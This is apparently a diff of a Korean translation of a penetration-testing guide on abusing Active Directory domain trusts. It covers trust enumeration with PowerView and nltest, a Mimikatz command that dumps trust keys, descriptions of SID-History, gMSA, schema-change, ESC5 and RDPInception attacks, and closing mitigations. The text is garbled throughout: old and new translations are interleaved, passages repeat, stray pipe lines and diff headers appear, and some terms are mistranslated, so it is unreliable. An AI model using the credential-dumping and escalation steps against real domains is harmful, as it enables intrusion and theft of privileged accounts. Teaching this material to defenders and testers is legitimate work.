3. 클라이언트는 **Domain 2**의 리소스에 접근하기 위해 DC1에서 **inter-realm TGT**를 요청합니다.
|
||||
4. inter-realm TGT는 양방향 도메인 트러스트의 일부로 DC1과 DC2가 공유하는 **trust key**로 암호화됩니다.
|
||||
5. 클라이언트는 inter-realm TGT를 **Domain 2의 Domain Controller (DC2)**에게 제출합니다.
|
||||
6. DC2는 공유된 trust key를 사용해 inter-realm TGT를 검증하고, 유효하면 클라이언트가 접근하려는 Domain 2의 서버에 대한 **Ticket Granting Service (TGS)**를 발급합니다.
|
||||
7. 마지막으로 클라이언트는 이 TGS를 서버에 제시하며, 이 TGS는 서버의 계정 해시로 암호화되어 있어 Domain 2의 서비스에 접근할 수 있게 됩니다.
|
||||
|
||||
### Different trusts
|
||||
### 다양한 트러스트
|
||||
|
||||
트러스트는 **일방향(one way)** 또는 **양방향(two ways)**이 될 수 있다는 점을 유의하세요. 양방향 옵션에서는 두 도메인이 서로를 신뢰하지만, **일방향** 트러스트 관계에서는 한 도메인이 **trusted**이고 다른 도메인이 **trusting** 도메인입니다. 후자의 경우 **trusted 도메인에서만 trusting 도메인의 자원에 접근할 수 있습니다**.
|
||||
중요한 점은 **트러스트는 단방향이거나 양방향일 수 있다**는 것입니다. 양방향 옵션에서는 두 도메인이 서로를 신뢰하지만, **단방향** 트러스트 관계에서는 한 도메인이 **trusted**이고 다른 하나가 **trusting** 도메인입니다. 이 경우에는 **trusted 도메인에서만 trusting 도메인의 리소스에 접근할 수 있습니다**.
|
||||
|
||||
만약 Domain A가 Domain B를 신뢰한다면, A는 trusting 도메인이고 B는 trusted 도메인입니다. 또한 **Domain A**에서는 이것이 **Outbound trust**가 되고, **Domain B**에서는 **Inbound trust**가 됩니다.
|
||||
예를 들어 Domain A가 Domain B를 신뢰하면, A는 trusting 도메인이고 B는 trusted 도메인입니다. 또한, **Domain A**에서는 이것이 **Outbound trust**이고, **Domain B**에서는 **Inbound trust**가 됩니다.
|
||||
|
||||
**Different trusting relationships**
|
||||
**다양한 신뢰 관계 유형**
|
||||
|
||||
- **Parent-Child Trusts**: 동일 포리스트 내에서 흔한 구성으로, 자식 도메인은 자동으로 부모 도메인과 양방향 전이적(transitive) 트러스트를 가집니다. 이는 부모와 자식 간에 인증 요청이 원활하게 흐를 수 있음을 의미합니다.
|
||||
- **Cross-link Trusts**: "shortcut trusts"라고도 하며, 자식 도메인 간에 설정되어 레퍼럴 프로세스를 단축합니다. 복잡한 포리스트에서는 인증 레퍼럴이 포리스트 루트까지 올라갔다가 대상 도메인으로 내려가야 하는데, cross-link를 생성하면 이 경로를 단축할 수 있어 지리적으로 분산된 환경에서 유리합니다.
|
||||
- **External Trusts**: 서로 관련이 없는 다른 도메인 간에 설정되며 비전이적(non-transitive)입니다. Microsoft 문서에 따르면 외부 트러스트는 포리스트 트러스트로 연결되지 않은 외부 도메인의 자원에 접근할 때 유용합니다. 외부 트러스트는 SID 필터링을 통해 보안을 강화합니다.
|
||||
- **Tree-root Trusts**: 포리스트 루트 도메인과 새로 추가된 tree root 간에 자동으로 설정됩니다. 자주 접하지는 않지만, 새 도메인 트리를 포리스트에 추가할 때 중요하며 두 도메인 간 양방향 전이성을 보장합니다.
|
||||
- **Forest Trusts**: 두 포리스트 루트 도메인 간의 양방향 전이적 트러스트로, SID 필터링을 적용해 보안을 강화합니다.
|
||||
- **MIT Trusts**: 비-Windows, [RFC4120-compliant](https://tools.ietf.org/html/rfc4120) Kerberos 도메인과 설정되는 트러스트입니다. MIT trusts는 Windows 생태계 밖의 Kerberos 기반 시스템과의 통합이 필요한 환경에 적합합니다.
|
||||
- **Parent-Child Trusts**: 동일 포리스트 내의 일반적인 설정으로, 자식 도메인은 자동으로 부모 도메인과 양방향 전이적(transitive) 트러스트를 갖습니다. 이는 부모와 자식 간에 인증 요청이 원활하게 흐를 수 있음을 의미합니다.
|
||||
- **Cross-link Trusts**: "shortcut trusts"라고도 불리며, 자식 도메인 간에 설정되어 참조 과정을 빠르게 합니다. 복잡한 포리스트에서는 인증 참조가 포리스트 루트까지 올라갔다가 대상 도메인으로 내려가야 하는데, cross-link를 만들면 이 경로를 단축할 수 있습니다.
|
||||
- **External Trusts**: 서로 관련이 없는 다른 도메인 간에 설정되는 비전이전(non-transitive) 트러스트입니다. [Microsoft의 문서](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>)에 따르면 외부 트러스트는 포리스트 트러스트로 연결되어 있지 않은 외부 도메인의 리소스 접근에 유용합니다. 외부 트러스트는 SID 필터링으로 보안이 강화됩니다.
|
||||
- **Tree-root Trusts**: 포리스트 루트 도메인과 새로 추가된 트리 루트 간에 자동으로 설정되는 트러스트입니다. 자주 마주치지는 않지만, 새로운 도메인 트리를 포리스트에 추가할 때 중요합니다. 자세한 내용은 [Microsoft 가이드](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>)를 참조하세요.
|
||||
- **Forest Trusts**: 두 포리스트 루트 도메인 간의 양방향 전이적 트러스트로, SID 필터링을 통해 보안이 강화됩니다.
|
||||
- **MIT Trusts**: 비-Windows, [RFC4120-compliant](https://tools.ietf.org/html/rfc4120) Kerberos 도메인과 설정되는 트러스트입니다. MIT trusts는 Windows 생태계 밖의 Kerberos 기반 시스템과 통합해야 하는 환경에 특화되어 있습니다.
|
||||
|
||||
#### Other differences in **trusting relationships**
|
||||
#### 신뢰 관계의 기타 차이점
|
||||
|
||||
- 트러스트 관계는 **전이적(transitive)**일 수도 있고 **비전이적(non-transitive)**일 수도 있습니다 (예: A가 B를 신뢰하고 B가 C를 신뢰하면 A가 C를 신뢰하게 되는 경우).
|
||||
- 트러스트 관계는 **양방향**(서로 신뢰) 또는 **일방향**(한쪽만 신뢰)으로 설정될 수 있습니다.
|
||||
- 트러스트 관계는 또한 **전이적(transitive)**일 수 있고(예: A가 B를 신뢰하고 B가 C를 신뢰하면 A는 C를 신뢰함) **비전이적(non-transitive)**일 수도 있습니다.
|
||||
- 트러스트 관계는 **상호(bidirectional)**로 설정되거나 **단방향(one-way)**으로 설정될 수 있습니다.
|
||||
|
||||
### Attack Path
|
||||
### 공격 경로
|
||||
|
||||
1. **신뢰 관계 열거(enumerate)**
|
||||
2. 어떤 **security principal**(user/group/computer)이 **다른 도메인의 자원에 접근할 수 있는지** ACE 엔트리나 다른 도메인의 그룹 멤버십을 통해 확인합니다. **도메인 간 관계**를 찾아보세요(트러스트가 이 목적을 위해 생성되었을 가능성이 큽니다).
|
||||
1. **신뢰 관계 열거**
|
||||
2. **어떤 security principal**(user/group/computer)이 **다른 도메인의 리소스에 접근**할 수 있는지 확인합니다. ACE 항목이나 다른 도메인의 그룹 구성원 여부로 판단하세요. **도메인 간의 관계**를 찾아보세요(트러스트가 이를 위해 생성되었을 가능성 있음).
|
||||
1. 이 경우 kerberoast도 또 다른 옵션이 될 수 있습니다.
|
||||
3. 도메인 간으로 **피벗할 수 있는 계정들을 침해(compromise)** 합니다.
|
||||
3. 도메인 간 **피벗**할 수 있는 **계정들을 탈취**합니다.
|
||||
|
||||
다른 도메인의 자원에 접근할 수 있는 공격자는 주로 세 가지 메커니즘을 통해 접근할 수 있습니다:
|
||||
공격자는 다른 도메인의 리소스에 접근하기 위해 다음 세 가지 주요 메커니즘을 통해 접근할 수 있습니다:
|
||||
|
||||
- **Local Group Membership**: 프린터 서버 같은 서버의 “Administrators” 그룹에 주체가 추가되어 있으면 해당 머신에 대한 강력한 제어권을 가질 수 있습니다.
|
||||
- **Foreign Domain Group Membership**: 주체가 외부 도메인의 그룹의 멤버일 수도 있습니다. 그러나 이 방법의 효과는 트러스트의 성격 및 그룹의 범위에 따라 다릅니다.
|
||||
- **Access Control Lists (ACLs)**: 주체가 **ACL**, 특히 **DACL** 내의 **ACE**로 지정되어 특정 자원에 접근할 수 있도록 설정될 수 있습니다. ACL, DACL, ACE의 메커니즘을 더 깊이 파고들고 싶다면, "[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)" 백서가 유용한 자료입니다.
|
||||
- **Local Group Membership**: 원격 머신의 “Administrators” 그룹과 같은 로컬 그룹에 principal이 추가될 수 있으며, 이는 해당 머신에 대한 상당한 제어권을 부여합니다.
|
||||
- **Foreign Domain Group Membership**: principal이 외부 도메인의 그룹 구성원일 수도 있습니다. 다만 이 방법의 효과는 트러스트의 성격과 그룹의 범위에 따라 달라집니다.
|
||||
- **Access Control Lists (ACLs)**: principal이 **ACL**, 특히 **DACL** 내의 **ACE**로 지정되어 특정 리소스에 접근 권한을 부여받을 수 있습니다. ACL, DACL 및 ACE의 메커니즘에 대해 더 깊이 알고자 한다면, 백서 “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)”가 유용한 자료입니다.
|
||||
|
||||
### Find external users/groups with permissions
|
||||
### 권한을 가진 외부 사용자/그룹 찾기
|
||||
|
||||
외부 보안 주체(foreign security principals)를 찾으려면 **`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`**을 확인하세요. 이 항목들은 **외부 도메인/포리스트**의 사용자/그룹입니다.
|
||||
도메인에서 외부 보안 주체(foreign security principals)를 찾으려면 **`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`** 를 확인할 수 있습니다. 이는 **외부 도메인/포리스트**의 사용자/그룹일 것입니다.
|
||||
|
||||
이것은 Bloodhound에서 확인하거나 powerview를 사용하여 확인할 수 있습니다:
|
||||
이 항목은 **Bloodhound**에서 확인하거나 powerview를 사용하여 확인할 수 있습니다:
|
||||
```powershell
|
||||
# Get users that are i groups outside of the current domain
|
||||
Get-DomainForeignUser
|
||||
@ -622,7 +624,7 @@ TrustDirection : Bidirectional --> Trust direction (2ways in this case)
|
||||
WhenCreated : 2/19/2021 1:28:00 PM
|
||||
WhenChanged : 2/19/2021 1:28:00 PM
|
||||
```
|
||||
도메인 신뢰를 열거하는 다른 방법:
|
||||
도메인 트러스트를 열거하는 다른 방법:
|
||||
```bash
|
||||
# Get DCs
|
||||
nltest /dsgetdc:<DOMAIN>
|
||||
@ -635,8 +637,8 @@ nltest /dclist:sub.domain.local
|
||||
nltest /server:dc.sub.domain.local /domain_trusts /all_trusts
|
||||
```
|
||||
> [!WARNING]
|
||||
> 신뢰된 키가 **2개** 있습니다. 하나는 _Child --> Parent_ 용이고 다른 하나는 _Parent_ --> _Child_ 용입니다.\
|
||||
> 다음 명령으로 현재 도메인에서 사용 중인 키를 확인할 수 있습니다:
|
||||
> **2개의 trusted keys**가 있으며, 하나는 _Child --> Parent_용이고 다른 하나는 _Parent_ --> _Child_용입니다.\
|
||||
> 현재 도메인에서 사용되는 키는 다음 명령으로 확인할 수 있습니다:
|
||||
>
|
||||
> ```bash
|
||||
> Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
|
||||
@ -645,7 +647,7 @@ nltest /server:dc.sub.domain.local /domain_trusts /all_trusts
|
||||
|
||||
#### SID-History Injection
|
||||
|
||||
SID-History injection을 악용하여 트러스트를 통해 child/parent 도메인에서 Enterprise admin으로 권한 상승:
|
||||
SID-History injection을 이용해 trust를 악용하여 child/parent 도메인에 대해 Enterprise admin으로 권한 상승:
|
||||
|
||||
{{#ref}}
|
||||
sid-history-injection.md
|
||||
@ -653,43 +655,43 @@ sid-history-injection.md
|
||||
|
||||
#### Exploit writeable Configuration NC
|
||||
|
||||
Configuration Naming Context (NC)이 어떻게 악용될 수 있는지 이해하는 것은 중요합니다. Configuration NC는 Active Directory (AD) 환경에서 포리스트 전반의 구성 데이터를 저장하는 중앙 저장소 역할을 합니다. 이 데이터는 포리스트 내 모든 Domain Controller (DC)에 복제되며, 쓰기 가능한 DC는 Configuration NC의 쓰기 가능한 복사본을 보유합니다. 이를 악용하려면 **DC에서의 SYSTEM 권한**(가능하면 child DC에서)이 필요합니다.
|
||||
Configuration Naming Context (NC)를 어떻게 악용할 수 있는지 이해하는 것은 매우 중요합니다. Configuration NC는 Active Directory (AD) 환경에서 포리스트 전체의 구성 데이터를 저장하는 중앙 저장소 역할을 합니다. 이 데이터는 포리스트 내의 모든 Domain Controller (DC)로 복제되며, 쓰기 가능한 DC(writable DC)는 Configuration NC의 쓰기 가능한 복사본을 유지합니다. 이를 악용하려면 **DC에서의 SYSTEM 권한**(가능하면 child DC)이 필요합니다.
|
||||
|
||||
**Link GPO to root DC site**
|
||||
**GPO를 root DC site에 연결하기**
|
||||
|
||||
Configuration NC의 Sites 컨테이너에는 AD 포리스트 내 도메인에 가입된 모든 컴퓨터의 사이트 정보가 포함되어 있습니다. 어떤 DC에서든 SYSTEM 권한으로 작업하면 공격자는 GPO를 root DC 사이트에 연결할 수 있습니다. 이 작업은 해당 사이트에 적용되는 정책을 조작하여 루트 도메인을 잠재적으로 손상시킬 수 있습니다.
|
||||
Configuration NC의 Sites 컨테이너에는 AD 포리스트 내 모든 도메인 가입 컴퓨터의 site 정보가 포함되어 있습니다. 어떤 DC에서든 SYSTEM 권한으로 작업하면 공격자는 GPO를 root DC site에 연결할 수 있습니다. 이 작업은 해당 site에 적용되는 정책을 조작하여 root 도메인을 잠재적으로 손상시킬 수 있습니다.
|
||||
|
||||
For in-depth information, one might explore research on [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
|
||||
자세한 내용은 [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research) 연구를 참고하세요.
|
||||
|
||||
**Compromise any gMSA in the forest**
|
||||
**포리스트 내의 어떤 gMSA도 탈취하기**
|
||||
|
||||
공격 벡터로 도메인 내 권한 있는 gMSA를 노릴 수 있습니다. gMSA의 비밀번호를 계산하는 데 필요한 KDS Root key는 Configuration NC에 저장되어 있습니다. 어떤 DC에서든 SYSTEM 권한을 얻으면 KDS Root key에 접근하여 포리스트 전반의 어떤 gMSA든 비밀번호를 계산할 수 있습니다.
|
||||
공격 벡터 중 하나는 도메인 내의 권한 있는 gMSA를 표적으로 삼는 것입니다. gMSA의 비밀번호를 계산하는 데 필요한 KDS Root key는 Configuration NC에 저장됩니다. 어떤 DC에서든 SYSTEM 권한을 가지면 KDS Root key에 접근하여 포리스트 전역의 어떤 gMSA에 대해서도 비밀번호를 계산할 수 있습니다.
|
||||
|
||||
Detailed analysis and step-by-step guidance can be found in:
|
||||
자세한 분석 및 단계별 가이드는 다음을 참조하세요:
|
||||
|
||||
{{#ref}}
|
||||
golden-dmsa-gmsa.md
|
||||
{{#endref}}
|
||||
|
||||
Complementary delegated MSA attack (BadSuccessor – abusing migration attributes):
|
||||
보완적인 delegated MSA 공격 (BadSuccessor – migration attributes 악용):
|
||||
|
||||
{{#ref}}
|
||||
badsuccessor-dmsa-migration-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
Additional external research: [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
|
||||
추가 외부 연구: [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
|
||||
|
||||
**Schema change attack**
|
||||
|
||||
이 방법은 인내심을 요구하며, 새로운 권한 있는 AD 객체가 생성되기를 기다려야 합니다. SYSTEM 권한을 가진 공격자는 AD Schema를 수정하여 모든 클래스에 대해 임의 사용자에게 전체 제어 권한을 부여할 수 있습니다. 이는 새로 생성되는 AD 객체들에 대한 무단 접근 및 제어로 이어질 수 있습니다.
|
||||
이 방법은 인내를 요구하며, 새로운 권한 있는 AD 객체가 생성될 때까지 기다려야 합니다. SYSTEM 권한이 있으면 공격자는 AD Schema를 수정하여 특정 사용자에게 모든 클래스에 대한 완전한 제어 권한을 부여할 수 있습니다. 이는 새로 생성되는 AD 객체에 대한 무단 접근 및 제어로 이어질 수 있습니다.
|
||||
|
||||
Further reading is available on [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
|
||||
자세한 내용은 [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent)를 참고하세요.
|
||||
|
||||
**From DA to EA with ADCS ESC5**
|
||||
|
||||
ADCS ESC5 취약점은 PKI 객체에 대한 제어를 목표로 하여 포리스트 내의 모든 사용자로 인증할 수 있는 인증서 템플릿을 생성하게 합니다. PKI 객체는 Configuration NC에 위치하므로, 쓰기 가능한 child DC를 침해하면 ESC5 공격을 수행할 수 있습니다.
|
||||
ADCS ESC5 취약점은 PKI 객체를 제어하여 포리스트 내의 임의 사용자로 인증할 수 있는 certificate template을 생성하는 것을 목표로 합니다. PKI 객체는 Configuration NC에 위치하므로, 쓰기 가능한 child DC를 탈취하면 ESC5 공격을 실행할 수 있습니다.
|
||||
|
||||
More details on this can be read in [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). ADCS가 없는 환경에서는 공격자가 필요한 구성 요소를 직접 설정할 수 있는 방법에 대해 [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/)에서 논의하고 있습니다.
|
||||
이와 관련한 자세한 내용은 [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c)를 참조하세요. ADCS가 없는 환경에서는 공격자가 필요한 구성 요소를 직접 설정할 수도 있으며, 이에 대해서는 [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/)를 참고하세요.
|
||||
|
||||
### External Forest Domain - One-Way (Inbound) or bidirectional
|
||||
```bash
|
||||
@ -702,13 +704,13 @@ TrustDirection : Inbound --> Inboud trust
|
||||
WhenCreated : 2/19/2021 10:50:56 PM
|
||||
WhenChanged : 2/19/2021 10:50:56 PM
|
||||
```
|
||||
이 시나리오에서는 **당신의 도메인이 신뢰된 상태입니다** 외부 도메인에 의해 신뢰되어 그 도메인에 대해 **명확히 정의되지 않은 권한**을 부여받습니다. 당신은 **자신의 도메인 내 어떤 프린시펄(Principal)이 외부 도메인에 대해 어떤 접근 권한을 가지는지** 찾아내고, 이를 악용해 보아야 합니다:
|
||||
이 시나리오에서는 외부 domain가 귀하의 domain을 신뢰하여 귀하에게 해당 domain에 대한 **undetermined permissions**을 부여합니다. 귀하는 귀하의 domain에 속한 어떤 **principals**가 외부 domain에 대해 어떤 **access**를 갖고 있는지 찾아낸 다음, 이를 악용하려고 시도해야 합니다:
|
||||
|
||||
{{#ref}}
|
||||
external-forest-domain-oneway-inbound.md
|
||||
{{#endref}}
|
||||
|
||||
### 외부 포리스트 도메인 - 일방향(아웃바운드)
|
||||
### External Forest Domain - One-Way (Outbound)
|
||||
```bash
|
||||
Get-DomainTrust -Domain current.local
|
||||
|
||||
@ -720,120 +722,70 @@ TrustDirection : Outbound --> Outbound trust
|
||||
WhenCreated : 2/19/2021 10:15:24 PM
|
||||
WhenChanged : 2/19/2021 10:15:24 PM
|
||||
```
|
||||
In this scenario **your domain** is **trusting** some **privileges** to principal from a **different domains**.
|
||||
|
||||
However, when a **domain is trusted** by the trusting domain, the trusted domain **creates a user** with a **predictable name** that uses as **password the trusted password**. Which means that it's possible to **access a user from the trusting domain to get inside the trusted one** to enumerate it and try to escalate more privileges:
|
||||
|
||||
이 시나리오에서는 **your domain**이(가) **different domains**의 프린시펄에게 일부 **privileges**를 신뢰하고 있습니다.
|
||||
|
||||
하지만 신뢰하는 도메인에 의해 **domain is trusted** 상태가 되면, 신뢰된 도메인은 **predictable name**을 가진 **user**를 생성하고 그 **password**로 **trusted password**를 사용합니다. 이는 **trusting domain**의 사용자를 통해 **trusted domain** 내부에 접근해 열거(enumerate)하고 더 높은 권한으로 상승을 시도할 수 있음을 의미합니다:
|
||||
In this scenario **귀하의 도메인**은 **다른 도메인**의 주체에 몇몇 **권한**을 **신뢰(trusting)** 하고 있습니다.
|
||||
|
||||
하지만, **신뢰되는 도메인(domain is trusted)** 은 신뢰하는 도메인에 의해 **예측 가능한 이름을 가진 사용자(create a user)** 를 생성하고, 그 비밀번호로 **trusted password** 를 사용합니다. 즉, **신뢰하는 도메인의 사용자에 접근(access a user from the trusting domain to get inside the trusted one)** 하여 신뢰된 도메인 내부를 열람하고 권한 상승을 시도할 수 있다는 의미입니다:
|
||||
|
||||
{{#ref}}
|
||||
external-forest-domain-one-way-outbound.md
|
||||
{{#endref}}
|
||||
|
||||
Another way to compromise the trusted domain is to find a [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links) created in the **opposite direction** of the domain trust (which isn't very common).
|
||||
|
||||
trusted domain를 침해하는 또 다른 방법은 도메인 트러스트의 **opposite direction**으로 생성된 [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links)를 찾는 것입니다(이는 흔하지 않습니다).
|
||||
|
||||
Another way to compromise the trusted domain is to wait in a machine where a **user from the trusted domain can access** to login via **RDP**. Then, the attacker could inject code in the RDP session process and **access the origin domain of the victim** from there.\
|
||||
Moreover, if the **victim mounted his hard drive**, from the **RDP session** process the attacker could store **backdoors** in the **startup folder of the hard drive**. This technique is called **RDPInception.**
|
||||
|
||||
trusted domain를 침해하는 또 다른 방법은 **user from the trusted domain can access**하여 **RDP**로 로그인할 수 있는 머신에서 기다리는 것입니다. 그런 다음 공격자는 RDP 세션 프로세스에 코드를 주입하여 거기서부터 **access the origin domain of the victim**할 수 있습니다.\
|
||||
또한 **victim mounted his hard drive** 상태라면, 공격자는 **RDP session** 프로세스에서 하드 드라이브의 **startup folder**에 **backdoors**를 저장할 수 있습니다. 이 기법은 **RDPInception**이라고 불립니다.
|
||||
또 다른 방법은 도메인 신뢰의 **반대 방향(opposite direction)** 으로 생성된 [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links)를 찾아 신뢰된 도메인을 침해하는 것입니다(이 방법은 자주 발생하지 않습니다).
|
||||
|
||||
또 다른 방법으로는 **신뢰된 도메인 사용자(user from the trusted domain)가 접근할 수 있는** 머신에서 대기하다가 그 사용자가 **RDP**로 로그인하는 순간을 노리는 것입니다. 그런 다음 공격자는 RDP 세션 프로세스에 코드를 주입하여 그곳에서 **피해자의 원래 도메인(origin domain of the victim)** 에 접근할 수 있습니다.\
|
||||
게다가, 만약 **피해자가 자신의 하드 드라이브를 마운트(mounted his hard drive)** 해두었다면, 공격자는 **RDP 세션** 프로세스에서 하드 드라이브의 **startup folder**에 **backdoors**를 저장할 수 있습니다. 이 기법은 **RDPInception**이라 불립니다.
|
||||
|
||||
{{#ref}}
|
||||
rdp-sessions-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### Domain trust abuse mitigation
|
||||
### 도메인 신뢰 악용 완화
|
||||
|
||||
### **SID Filtering:**
|
||||
|
||||
- The risk of attacks leveraging the SID history attribute across forest trusts is mitigated by SID Filtering, which is activated by default on all inter-forest trusts. This is underpinned by the assumption that intra-forest trusts are secure, considering the forest, rather than the domain, as the security boundary as per Microsoft's stance.
|
||||
- However, there's a catch: SID filtering might disrupt applications and user access, leading to its occasional deactivation.
|
||||
|
||||
### **SID Filtering:**
|
||||
|
||||
- forest 간 트러스트에서 SID history 속성을 악용한 공격 위험은 SID Filtering으로 완화됩니다. SID Filtering은 모든 inter-forest 트러스트에서 기본적으로 활성화되어 있습니다. 이는 Microsoft의 관점대로 도메인(domain) 대신 포리스트(forest)를 보안 경계로 간주하여 intra-forest 트러스트가 안전하다는 가정에 기반합니다.
|
||||
- 다만 주의할 점은 SID filtering이 애플리케이션 및 사용자 접근을 방해할 수 있어 때때로 비활성화되는 경우가 있다는 것입니다.
|
||||
- SID history 속성을 이용한 포리스트 간 공격 위험은 SID Filtering으로 완화되며, 이는 모든 포리스트 간 신뢰(inter-forest trusts)에서 기본적으로 활성화됩니다. 이는 Microsoft의 관점에서 보안 경계를 도메인이 아닌 포리스트(forest)로 간주한다는 가정에 기반합니다.
|
||||
- 그러나 주의할 점은 SID filtering이 애플리케이션과 사용자 접근을 방해할 수 있어 때때로 비활성화되는 경우가 있다는 것입니다.
|
||||
|
||||
### **Selective Authentication:**
|
||||
|
||||
- For inter-forest trusts, employing Selective Authentication ensures that users from the two forests are not automatically authenticated. Instead, explicit permissions are required for users to access domains and servers within the trusting domain or forest.
|
||||
- It's important to note that these measures do not safeguard against the exploitation of the writable Configuration Naming Context (NC) or attacks on the trust account.
|
||||
|
||||
### **Selective Authentication:**
|
||||
|
||||
- inter-forest 트러스트의 경우 Selective Authentication을 사용하면 두 포리스트의 사용자가 자동으로 인증되지 않도록 보장합니다. 대신, 사용자가 trusting domain 또는 forest 내의 도메인 및 서버에 접근하려면 명시적 권한이 필요합니다.
|
||||
- 이러한 조치들이 writable Configuration Naming Context (NC)의 악용이나 trust account에 대한 공격을 방지하지는 못한다는 점을 유의해야 합니다.
|
||||
- 포리스트 간 신뢰에서는 Selective Authentication을 사용하면 두 포리스트의 사용자가 자동으로 인증되지 않도록 하여, 신뢰하는 도메인/포리스트 내의 도메인 및 서버에 접근하려면 명시적인 권한이 필요합니다.
|
||||
- 다만, 이러한 조치들이 writable Configuration Naming Context (NC)의 악용이나 신뢰 계정(trust account)에 대한 공격을 방지하지는 못한다는 점에 유의해야 합니다.
|
||||
|
||||
[**More information about domain trusts in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
|
||||
|
||||
## AD -> Azure & Azure -> AD
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/index.html
|
||||
{{#endref}}
|
||||
|
||||
## Some General Defenses
|
||||
|
||||
[**Learn more about how to protect credentials here.**](../stealing-credentials/credentials-protections.md)
|
||||
|
||||
## 몇 가지 일반적인 방어책
|
||||
## 일반적인 방어책
|
||||
|
||||
[**Learn more about how to protect credentials here.**](../stealing-credentials/credentials-protections.md)
|
||||
|
||||
### **Defensive Measures for Credential Protection**
|
||||
|
||||
- **Domain Admins Restrictions**: It is recommended that Domain Admins should only be allowed to login to Domain Controllers, avoiding their use on other hosts.
|
||||
- **Service Account Privileges**: Services should not be run with Domain Admin (DA) privileges to maintain security.
|
||||
- **Temporal Privilege Limitation**: For tasks requiring DA privileges, their duration should be limited. This can be achieved by: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
|
||||
|
||||
### **자격증명 보호를 위한 방어 조치**
|
||||
|
||||
- **Domain Admins Restrictions**: Domain Admins 계정은 다른 호스트에서 사용하는 것을 피하고 오직 Domain Controllers에만 로그인하도록 제한하는 것이 권장됩니다.
|
||||
- **Service Account Privileges**: 보안을 위해 서비스는 Domain Admin (DA) 권한으로 실행되어서는 안 됩니다.
|
||||
- **Temporal Privilege Limitation**: DA 권한이 필요한 작업의 경우 해당 권한 부여 시간을 제한해야 합니다. 예를 들어 다음과 같이 설정할 수 있습니다: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
|
||||
- **Domain Admins Restrictions**: Domain Admins는 Domain Controllers에만 로그인하도록 허용하고 다른 호스트에서는 사용하지 않도록 권장합니다.
|
||||
- **Service Account Privileges**: 보안 유지를 위해 서비스는 Domain Admin (DA) 권한으로 실행해서는 안 됩니다.
|
||||
- **Temporal Privilege Limitation**: DA 권한이 필요한 작업에 대해서는 권한 지속 시간을 제한해야 합니다. 예시 명령: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
|
||||
|
||||
### **Implementing Deception Techniques**
|
||||
|
||||
- Implementing deception involves setting traps, like decoy users or computers, with features such as passwords that do not expire or are marked as Trusted for Delegation. A detailed approach includes creating users with specific rights or adding them to high privilege groups.
|
||||
- A practical example involves using tools like: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
|
||||
- More on deploying deception techniques can be found at [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception).
|
||||
|
||||
### **Deception 기법 구현**
|
||||
|
||||
- Deception을 구현하려면 비활성화되지 않는 암호 설정이나 Trusted for Delegation로 표시된 계정 같은 유인 계정(예: decoy users 또는 computers)을 배치하는 등의 함정을 설정합니다. 구체적인 접근법으로는 특정 권한을 가진 사용자를 생성하거나 고권한 그룹에 추가하는 방법이 있습니다.
|
||||
- 실용적인 예로는 다음과 같은 도구 사용이 있습니다: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
|
||||
- Deception(속임수) 구현은 만우(미끼) 사용자나 컴퓨터를 설정하는 것으로, 만료되지 않는 비밀번호나 Trusted for Delegation로 표시된 계정 같은 속성을 갖게 하는 등의 함정 설치를 포함합니다. 상세한 접근법은 특정 권한을 가진 사용자를 생성하거나 고권한 그룹에 추가하는 것을 포함합니다.
|
||||
